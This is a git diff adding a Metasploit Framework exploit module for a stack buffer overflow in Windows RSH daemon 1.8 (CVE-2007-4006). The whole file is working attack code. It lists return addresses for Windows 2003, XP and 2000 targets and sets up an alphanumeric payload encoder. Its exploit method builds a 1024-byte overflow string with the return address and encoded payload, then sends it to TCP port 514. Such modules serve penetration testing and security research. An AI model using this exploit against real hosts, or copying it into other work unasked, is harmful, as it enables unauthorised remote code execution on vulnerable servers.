diff --git a/modules/exploits/windows/misc/windows_rsh.rb b/modules/exploits/windows/misc/windows_rsh.rb
new file mode 100644
index 0000000000..c07ac93555
--- /dev/null
+++ b/modules/exploits/windows/misc/windows_rsh.rb
@@ -0,0 +1,80 @@
+##
+# $Id: windows_rsh.rb 4886 2007-05-07 04:48:45Z hdm $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Misc::Windows_Rsh < Msf::Exploit::Remote
+
+	include Exploit::Remote::Tcp
+
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Windows RSH daemon Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a vulnerabliltiy in Windows RSH daemon 1.8.
+				The vulnerability is due to a failure to check for the length of input sent
+				to the RSH server. A CPORT of 512 -> 1023 must be configured for the exploit
+				to be successful. 
+			},
+			'Author'         => 'MC',
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 1.0 $',
+			'References'     => 
+				[ 
+						['BID', '25044'],
+						['CVE', '2007-4006'],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 850,
+					'BadChars' => "\x00",
+					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
+					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+						[ 'Windows 2003 SP1 English',         { 'Ret' => 0x77409dbb } ],
+						[ 'Windows XP Pro SP2 English',       { 'Ret' => 0x7e497c7b } ],
+						[ 'Windows 2000 Pro SP4 English',     { 'Ret' => 0x77f81be3 } ],
+				],
+			'Privileged'     => true,
+			'DisclosureDate' => 'Jul 24 2007',
+			'DefaultTarget' => 0))
+
+			register_options([Opt::RPORT(514)], self.class)
+
+	end
+
+	def exploit
+		connect
+
+		sploit =  (("\x00" + rand_text_english(1)) * 2) + "\x00"
+		sploit << rand_text_english(1024) + [target.ret].pack('V')
+		sploit << payload.encoded 
+		
+		print_status("Trying target #{target.name}...")
+
+		sock.put(sploit)
+		
+		handler
+		disconnect
+	end
+
+end
+end